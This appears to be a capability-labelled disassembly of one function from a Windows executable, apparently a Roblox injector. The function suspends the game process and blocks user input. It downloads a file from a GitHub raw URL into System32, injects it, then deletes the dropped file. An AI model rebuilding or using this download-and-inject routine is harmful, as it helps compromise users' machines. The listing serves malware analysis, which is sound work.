Function at 0x140006ec0
Capabilities:
Download url
Execute command
Receive data
Self delete
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x240
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
xor r14d, r14d
lea rdx, str.RobloxPlayerBeta.exe
lea rcx, [rsp + 0x100]
call fcn.14000c440
nop
lea rcx, [rsp + 0x100]
call fcn.140004200
mov esi, eax
lea rcx, [0x1400142f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_____Suspended_ROBLOX__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d100
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, str.___Status:_WATING
mov rcx, rax
call fcn.14000d100
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
lea rdx, str._n_n_____Blocked_Userinput__Status:_CLEAR
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d100
call fcn.140006ac0
lea rax, str.reader.txt
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0xa
call fcn.14000fca0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001ff0
nop
lea r8, [rsp + 0x40]
lea rdx, [0x14001d0b8]
lea rcx, [rsp + 0xe0]
call fcn.140002530
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000700c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007007
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007007
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
movdqa xmm0, xmmword [0x140015fa0]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r14
mov r8d, 0x20
lea rdx, str.C:WindowsSystem32message1.txt
lea rcx, [rsp + 0x80]
call fcn.14000e670
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xd0], xmm1
mov r8d, 0x3f
lea rdx, str.https:__github.com_Jaxploit_Injecotr_raw_main_YCCsfmv_20_1_.txt
lea rcx, [rsp + 0xc0]
call fcn.14000e670
nop
call fcn.140001d70
lea rax, [rsp + 0x80]
cmp qword [rsp + 0x98], 0xf
cmova rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
call fcn.14000fca0
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea r8, [rsp + 0x30]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001ff0
nop
lea rcx, [rsp + 0x40]
call fcn.140002fa0
movzx edi, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000712d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007128
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007128
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
test dil, dil
jne 0x1400071e7
lea r8, [rsp + 0x80]
cmp qword [rsp + 0x98], 0xf
cmova r8, qword [rsp + 0x80]
lea rdx, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0xf
cmova rdx, qword [rsp + 0xc0]
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1400071e7
call fcn.1400033a0
lea rdx, [0x140014900]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d100
call fcn.1400033d0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_download_files
lea rcx, [rsp + 0x40]
call fcn.14000c6d0
mov dword [rsp + 0x60], 0x19
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140003800
nop
lea rcx, [rsp + 0x40]
call fcn.140005d30
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str._n_____Injected:__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d100
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, str.___Status:_UNREADY
mov rcx, rax
call fcn.14000d100
call fcn.140004510
lea rdx, str._n_n_____Resumed_ROBLOX__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d100
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, str.___Status:_UNREADY
mov rcx, rax
call fcn.14000d100
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.1400067a0
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x120]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 7
cmova rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x120]
call fcn.14000edd0
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x11c], edx
lea rdx, [rsp + 0xa0]
cmp qword [rsp + 0xb8], 0xf
cmova rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xb0]
lea rcx, [rsp + 0x120]
call fcn.14000f350
lea rcx, [rsp + 0x128]
call fcn.14000cbf0
test rax, rax
jne 0x140007332
mov rax, qword [rsp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x120]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.DEL_C:WindowsSystem32message1.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_n_____Loaded_UNC__Status:_UNREADY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000d100
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov r8d, 4
lea rdx, str.true
mov rcx, rbx
call fcn.14000e670
nop
lea rcx, [rsp + 0x120]
call fcn.140007590
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0xf
jbe 0x1400073ca
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400073c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
mov qword [rsp + 0xb0], r14
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x14000742c
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007427
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007427
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
movdqa xmm0, xmmword [0x140015fb0]
movdqu xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0xc0], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0xf
jbe 0x14000748b
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007486
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007486
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 0xf
mov byte [rsp + 0x80], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x1400074f2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
movdqa xmm0, xmmword [0x140015fa0]
movdqu xmmword [rsp + 0xf0], xmm0
mov word [rsp + 0xe0], r14w
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x140007557
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007552
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007552
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010a98
mov rax, rbx
jmp 0x140007561
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140010290
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret